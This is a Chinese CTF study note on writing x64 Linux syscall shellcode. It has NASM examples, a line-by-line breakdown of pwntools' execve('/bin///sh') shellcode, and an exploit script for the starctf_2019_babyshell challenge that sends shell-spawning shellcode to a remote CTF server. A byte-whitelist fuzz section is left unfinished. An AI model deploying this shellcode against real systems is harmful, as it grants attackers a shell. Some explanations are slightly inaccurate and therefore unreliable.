PWN:手动编写 x64 基于syscall 的 shell code(TODO)

server/2024/11/20 6:42:58/

syscall

在AMD64架构(也称为x86-64或x64)下,使用 syscall 指令来进行系统调用的约定如下:

  1. 系统调用号:存储在 RAX 寄存器中。
  2. 参数传递
    • 第一个参数:RDI
    • 第二个参数:RSI
    • 第三个参数:RDX
    • 第四个参数:R10
    • 第五个参数:R8
    • 第六个参数:R9
  3. 返回值:系统调用的返回值存储在 RAX 寄存器中。
  4. 调用约定
    • 调用 syscall 指令之前,需要将系统调用号和参数传递到相应的寄存器。
    • 调用 syscall 指令后,返回值会存储在 RAX 寄存器中。
    • RCXR11 寄存器的值会被 syscall 指令破坏,因此调用者需要保存这两个寄存器的值(如果需要)。

execve

execve 的原型如下:

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename:要执行的文件名(路径)。
  • argv:一个字符串数组,包含传递给程序的命令行参数。数组的最后一个元素必须是 NULL
  • envp:一个字符串数组,包含环境变量。数组的最后一个元素也必须是 NULL
section .datafilename db '/bin/ls', 0         ; 要执行的程序argv db '/bin/ls', 0             ; argv[0]db '-l', 0                   ; argv[1]db 0                         ; argv数组结束envp db 0                        ; 环境变量数组结束section .textglobal _start_start:; 设置参数mov rax, 59                  ; syscall: execve (59)mov rdi, filename            ; filenamemov rsi, argv                ; argvmov rdx, envp                ; envpsyscall                       ; 调用内核; 如果 execve 失败mov rax, 60                  ; syscall: exit (60)xor rdi, rdi                 ; exit code 0syscall                       ; 调用内核

open

open 系统调用用于打开文件并返回一个文件描述符。其原型如下:

int open(const char *pathname, int flags, mode_t mode);

主要参数

  • pathname:要打开的文件的路径。
  • flags:打开文件的标志,例如 O_RDONLY, O_WRONLY, O_RDWR 等。
  • mode:文件的访问权限(在创建文件时使用),通常与 flags 一起传递。对于只读或只写操作,可以传递 0

在 x86-64 Linux 中,open 的系统调用号是 2

下面是一个用汇编语言编写的示例,展示如何在 x86-64 Linux 中使用 syscall 调用 open

section .datafilename db '/tmp/testfile.txt', 0 ; 要打开的文件名flags db 0x0                         ; O_RDONLYmode db 0                             ; 只读模式,不需要section .textglobal _start_start:; 设置参数mov rax, 2                ; syscall: open (2)mov rdi, filename         ; pathnamemov rsi, 0                ; flags: O_RDONLYmov rdx, 0                ; mode: 不使用syscall                   ; 调用内核; 返回值在 rax 中,检查是否成功test rax, rax             ; 检查文件描述符是否有效js open_failed            ; 如果 rax < 0,跳转到失败处理; 这里可以继续使用打开的文件描述符; 例如,使用它进行读取等操作; 关闭文件描述符mov rdi, rax              ; 将文件描述符移动到 rdimov rax, 3                ; syscall: close (3)syscall                   ; 调用内核; 正常退出mov rax, 60               ; syscall: exit (60)xor rdi, rdi              ; exit code 0syscall                   ; 调用内核open_failed:; 处理打开文件失败的情况mov rax, 60               ; syscall: exit (60)mov rdi, 1                ; exit code 1syscall                   ; 调用内核

read

在 x86-64 架构下,使用 syscall 指令进行 read 系统调用的步骤与其他系统调用类似。read 系统调用用于从文件描述符中读取数据。其原型如下:

ssize_t read(int fd, void *buf, size_t count);

主要参数

  • fd:文件描述符,从中读取数据。
  • buf:指向用于存储读取数据的缓冲区的指针。
  • count:要读取的字节数。

在 x86-64 Linux 中,read 的系统调用号是 0

section .bssbuffer resb 128            ; 为输入缓冲区分配128字节section .textglobal _start_start:; 从标准输入读取数据mov rax, 0                 ; syscall: read (0)mov rdi, 0                 ; fd: 0 (stdin)mov rsi, buffer            ; buf: 指向输入缓冲区mov rdx, 128               ; count: 要读取的字节数syscall                    ; 调用内核; 将读取的数据写入到标准输出mov rax, 1                 ; syscall: write (1)mov rdi, 1                 ; fd: 1 (stdout)mov rsi, buffer            ; buf: 指向输入缓冲区mov rdx, rax               ; count: 使用上一个 sysread 返回的字节数syscall                    ; 调用内核; 正常退出mov rax, 60                ; syscall: exit (60)xor rdi, rdi               ; exit code 0syscall                    ; 调用内核

write

在 x86-64 架构下,使用 syscall 指令进行 write 系统调用的步骤与其他系统调用类似。write 系统调用用于向文件描述符中写入数据。其原型如下:

ssize_t write(int fd, const void *buf, size_t count);

主要参数

  • fd:文件描述符,指定要写入的文件。
  • buf:指向要写入的数据的指针。
  • count:要写入的字节数。

在 x86-64 Linux 中,write 的系统调用号是 1

section .datamessage db 'Hello, world!', 0xA  ; 要写入的消息,0xA 是换行符message_len equ $ - message        ; 计算消息的长度section .textglobal _start_start:; 设置参数mov rax, 1                  ; syscall: write (1)mov rdi, 1                  ; fd: 1 (stdout)mov rsi, message            ; buf: 指向要写入的消息mov rdx, message_len        ; count: 消息的长度syscall                     ; 调用内核; 正常退出mov rax, 60                 ; syscall: exit (60)xor rdi, rdi                ; exit code 0syscall                     ; 调用内核

pwntools 提供的标准 execve shellcod

    /* execve(path='/bin///sh', argv=['sh'], envp=0) *//* push b'/bin///sh\x00' */push 0x68mov rax, 0x732f2f2f6e69622fpush raxmov rdi, rsp/* push argument array ['sh\x00'] *//* push b'sh\x00' */push 0x1010101 ^ 0x6873xor dword ptr [rsp], 0x1010101xor esi, esi /* 0 */push rsi /* null terminate */push 8pop rsiadd rsi, rsppush rsi /* 'sh\x00' */mov rsi, rspxor edx, edx /* 0 *//* call execve() */push SYS_execve /* 0x3b */pop raxsyscall

1. 准备路径字符串 /bin///sh

/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
  • mov rax, 0x732f2f2f6e69622f:将 /bin///sh 的字节表示 0x732f2f2f6e69622f 加载到 rax 寄存器中。这个 64 位值包含了字符串 /bin///sh。由于在路径中有多个连续的 /,这并不影响路径的正确性,Linux 会将多个 / 视为一个。
  • push rax:将 rax 中的字符串压入栈中。
  • mov rdi, rsp:将栈顶的地址(即 /bin///sh 字符串的地址)存入 rdi 寄存器。rdi 寄存器是 execve 系统调用的第一个参数,它指向要执行的文件路径。

2. 准备参数数组 ['sh']

/* push argument array ['sh\x00'] */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
  • push 0x1010101 ^ 0x6873:这行代码是为了构建字符串 'sh\x00'0x6873'sh' 的 ASCII 码(在小端序下是 0x7368)。通过异或运算 0x1010101 ^ 0x6873 生成一个特定的字节值。
  • xor dword ptr [rsp], 0x1010101:接下来,它通过异或运算将 'sh\x00' 写入栈中,确保栈上的数据最终形成一个 null 终止的字符串 'sh\x00'

3. 添加空指针作为参数的结束标志:

xor esi, esi /* 0 */
push rsi /* null terminate */
  • xor esi, esi:将 esi 寄存器清零,esi 现在为 0
  • push rsi:将 0(即 NULL)推入栈中,表示参数数组的结束(argv 数组的最后一个元素是 NULL,表示没有更多的参数)。

4. 设置 argv 数组的地址:

push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
  • push 8:将 8 压入栈中,它是参数数组的长度(即 'sh\x00' 字符串占 8 字节)。
  • pop rsi:将 8 从栈中弹出并存入 rsi 寄存器。
  • add rsi, rsp:将 rsi 设置为栈顶加上偏移量 8,实际上是指向参数数组的地址(即 'sh\x00' 字符串的地址)。
  • push rsi:将参数数组的地址压入栈中。
  • mov rsi, rsp:将栈顶的地址(即 argv 数组的地址)存入 rsi 寄存器,rsi 作为 execve 的第二个参数。

5. 清空 envp(环境变量):

xor edx, edx /* 0 */
  • xor edx, edx:将 edx 清零,表示 envpNULL,即不传递任何环境变量给新的进程。

6. 调用 execve

/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
  • push SYS_execve:将 execve 系统调用的编号(0x3b,或 59)压入栈中。
  • pop rax:将系统调用号(0x3b)弹出到 rax 寄存器,raxsyscall 指令的调用号寄存器。
  • syscall:触发系统调用。此时,rax 寄存器保存的是 execve 系统调用的编号,rdi 存储的是要执行的路径 /bin///shrsi 存储的是参数数组 ['sh']rdx 存储的是环境变量(此处为 NULL)。

shellcode滑板

这些特殊的机器码能在特定情况发挥作用

00 40 00                 add    BYTE PTR [rax+0x0],  al
00 41 00                 add    BYTE PTR [rcx+0x0],  al
00 42 00                 add    BYTE PTR [rdx+0x0],  al
00 43 00                 add    BYTE PTR [rbx+0x0],  al
00 45 00                 add    BYTE PTR [rbp+0x0],  al
00 46 00                 add    BYTE PTR [rsi+0x0],  al
00 47 00                 add    BYTE PTR [rdi+0x0],  al

考虑以下代码starctf_2019_babyshell

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{_BYTE *buf; // [rsp+0h] [rbp-10h]sub_4007F8(a1, a2, a3);buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);puts("give me shellcode, plz:");read(0, buf, 0x200uLL);if ( !(unsigned int)sub_400786(buf) ){printf("wrong shellcode!");exit(0);}((void (*)(void))buf)();return 0LL;
}
__int64 __fastcall sub_400786(_BYTE *a1)
{char *i; // [rsp+18h] [rbp-10h]while ( *a1 ){for ( i = &byte_400978; *i && *i != *a1; ++i );if ( !*i )return 0LL;++a1;}return 1LL;
}
from pwn import *io = remote('node5.buuoj.cn', 29104)context(arch='amd64', os='linux', log_level='debug')shellcode = asm(shellcraft.sh())shellcode = b'\x00\x5a\x00' + shellcodeio.sendline(shellcode)io.interactive()

仅白名单/存在黑名单编写 shell code

提取byte_400978获得允许列表

[0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A]

编写fuzz查看被禁止的语句

from pwn import *  # 设置架构为 amd64context.arch = 'amd64'  # 定义允许的字节列表  
allow_list = [  0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20,  0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65,  0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20,  0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A,  0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69,  0x74, 0x21, 0x0A  
]  # 将 allow_list 中的每个字节转换为字节对象  
for i in range(len(allow_list)):  allow_list[i] = allow_list[i].to_bytes(1, byteorder='little')  # 打印 allow_list 内容  
print(allow_list)  # 定义原始 shellcode 字符串  
shellcode = """  
push 0x68  
mov rax, 0x732f2f2f6e69622f  
push rax  
mov rdi, rsp  
push 0x1010101 ^ 0x6873  
xor dword ptr [rsp], 0x1010101  
xor esi, esi  
push rsi  
push 8  
pop rsi  
add rsi, rsp  
push rsi  
mov rsi, rsp  
xor edx, edx  
push SYS_execve  
pop rax  
syscall  
"""  # 删除注释并拆为多行  
shellcode = shellcode.splitlines()  # 检查所有字节码是否在允许名单中, 如果不在则输出  
for i in range(1, len(shellcode)):  # 从第1行开始,因为第0行是空的  # 将 shellcode 中的每行汇编代码转为机器码(字节码)  cmp = asm(shellcode[i])  # 对每个字节码进行检查  for f in cmp:  all_pass = True  found = False  # 标记是否找到了符合要求的字节  for j in allow_list:  if f == j:  # 如果字节在允许列表中  found = True  break        if not found:  # 如果字节不在允许列表中,输出该字节  all_pass = False  print(f"\033[91m{shellcode[i]}语句中的 字节 {hex(f)} 不在允许名单中.\033[0m")  if all_pass is True:  print(f'\033[92m{shellcode[i]} 语句通过\033[0m')

成功得到一片红(思路错了我以为这是手写shellcode,先这部分先搁置,等遇到题再写,这道题是遇0停止)


http://www.ppmy.cn/server/143408.html

相关文章

Vue3 虚拟列表组件库 virtual-list-vue3 的使用

Vue3 虚拟列表组件库 virtual-list-vue3 的基本使用 分享个人写的一个基于 Vue3 的虚拟列表组件库&#xff0c;欢迎各位来进行使用与给予一些更好的建议&#x1f60a; 概述&#xff1a;该组件组件库用于提供虚拟化列表能力的组件&#xff0c;用于解决展示大量数据渲染时首屏渲…

synchronized和volatile区别

synchronized和volatile都是Java中用于实现多线程同步的机制&#xff0c;但它们之间存在显著的差异。以下是对两者的详细比较&#xff1a; 一、作用机制 synchronized 锁机制&#xff1a;synchronized利用锁来保证同步。当某个线程进入由synchronized修饰的方法或代码块时&…

SwiftUI 高级开发教程 - 第一章:深入理解 SwiftUI 的声明式编程

一、声明式编程的核心概念与优劣势 1.1 什么是声明式编程? 声明式编程是一种以描述“是什么”为核心思想的编程范式。它与命令式编程的最大区别在于,开发者只需要告诉程序“我想要什么样的结果”,而不需要告诉它“如何一步步实现结果”。这一特性在构建复杂 UI 时尤其有用…

蓝桥杯某例题的解决方案和拓展(完全能解决例题本身)

蓝桥杯题目&#xff1a;求1&#xff08;包含&#xff09;直到20230408&#xff08;包含&#xff09;所有自然数的加和。 这个题比较恶心的一点在于&#xff0c;20230408本身没有超过int的上限&#xff0c;但是它的加和是超过int上限的&#xff0c;因此如果直接用int来计算&…

11.9.2024刷华为

文章目录 HJ31 单词倒排HJ32 密码提取语法知识记录 傻逼OD题目又不全又要收费&#xff0c;看毛线&#xff0c;莫名奇妙 HW这叼机构别搁这儿害人得不得&#xff1f; 我觉得我刷完原来的题目 过一遍华为机考的ED卷出处&#xff0c;就行了 HJ31 单词倒排 游戏本做过了好像 HJ3…

聚焦 AUTO TECH 2025华南展:探索新能源汽车发展新趋势

随着“新四化”浪潮的推进&#xff0c;汽车行业正经历前所未有的变革。中国新能源汽车正逐渐走向世界。国内汽车制造巨头如比亚迪、吉利、奇瑞、长安等&#xff0c;已经将出口提升至核心战略地位。中国新能源汽车的发展&#xff0c;不仅推动了全球汽车产业的电动化转型&#xf…

Iperf是什么?

Iperf 是一个网络性能测试工具。Iperf可以测试最大TCP和UDP带宽性能&#xff0c;具有多种参数和UDP特性&#xff0c;可以根据需要调整&#xff0c;可以报告带宽、延迟抖动和数据包丢失。 iperf 分为两种版本&#xff0c;unix/linux版和windows版&#xff0c;unix/linux版更新比…

C/C++ 知识点:extern 关键字

文章目录 一、extern 关键字1、什么是extern&#xff1f;2、基本用法2.1、声明全局变量2.2、声明函数2.3、使const变量具备外部连接性 3、extern "C"特殊用途3.1、C调用C3.2、C调用C 4、注意事项5、总结 前言&#xff1a; 在C和C编程语言中&#xff0c;extern关键字扮…